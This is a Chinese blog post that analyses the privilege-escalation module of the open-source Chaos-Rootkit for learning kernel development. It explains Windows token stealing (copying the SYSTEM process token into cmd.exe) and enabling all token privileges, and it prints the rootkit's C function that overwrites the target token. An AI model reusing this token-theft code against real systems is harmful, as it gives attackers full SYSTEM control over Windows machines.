Joe1sn's Cabin

【RootKit】Chaos-Rootkit解读-2 权限提升

去年学了点kernel开发,实战太少了,看看别人的代码怎么写的

项目地址:https://github.com/ZeroMemoryEx/Chaos-Rootkit

权限提升

测试环境:

image-20250430073259244

连接到rookit

原理剖析

其实可以手动实现这个过程

首先打开一个cmd.exe

image-20250508082307283

image-20250508082819833

结构体中表示权限的是一个叫+0x4b8 Token : _EX_FAST_REF的东西

Token是一个_EX_FAST_REF类型的Union值

image-20250508082952552

RefCnt记录了Token引用的数目,是数据的低4位(64位中,32位是3位)

将当前进程的除RefCnt以外的其他bit位设置为和System的一致就行了

这里 Value与掩码-0xd(RefCount)进行&运算就能得到真实的Token值

现在将计算出的Token值复制给cmd.exe(这是一个新的Token

image-20250508083737538

image-20250508083822234

更进一步

image-20250508084058521

另外一种就是经典的 **_sep_token Privileges Abusing **

image-20250508084310751

+0x40的位置是一个_sep_token_privileges结构体

image-20250508084436050

Present:包含令牌的当前特权

Enabled:包含令牌上所有已启用的特权

EnabledByDefault 表示令牌在构造时的默认状态

尝试将enable值变为present

image-20250508084929888

image-20250508084952418

如果方法一中有部分权限未启用,可以使用这种方法开启所有特权

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
DWORD PrivilegeElevationForProcess(int pid)
{
PVOID process = NULL;
PVOID systemProcess = NULL;
PACCESS_TOKEN targetToken = NULL;
PACCESS_TOKEN systemToken = NULL;

__try
{
// Lookup the target process by PID
NTSTATUS status = PsLookupProcessByProcessId((HANDLE)pid, &process);
//...
status = PsLookupProcessByProcessId((HANDLE)0x4, &systemProcess);
//...
char* imageName = PsGetProcessImageFileName((PEPROCESS)process);
DbgPrint("Target process image name: %s\n", imageName);
targetToken = PsReferencePrimaryToken(process);
//...
DbgPrint("%s token: %x\n", imageName, targetToken);
systemToken = PsReferencePrimaryToken(systemProcess);
//...
DbgPrint("System token: %x\n", systemToken);
ULONG_PTR targetTokenAddress = (ULONG_PTR)process + eoffsets.Token_offset;
DbgPrint("%s token address: %x\n", imageName, targetTokenAddress);
ULONG_PTR systemTokenAddress = (ULONG_PTR)systemProcess + eoffsets.Token_offset;
DbgPrint("System token address: %x\n", systemTokenAddress);
*(PHANDLE)targetTokenAddress = *(PHANDLE)systemTokenAddress;
DbgPrint("Process %s token updated to: %x\n", imageName, *(PHANDLE)(targetTokenAddress));
}
__finally
{
//...
}

return STATUS_SUCCESS;
}

最关键的就是*(PHANDLE)targetTokenAddress = *(PHANDLE)systemTokenAddress;

效果

image-20250508085620515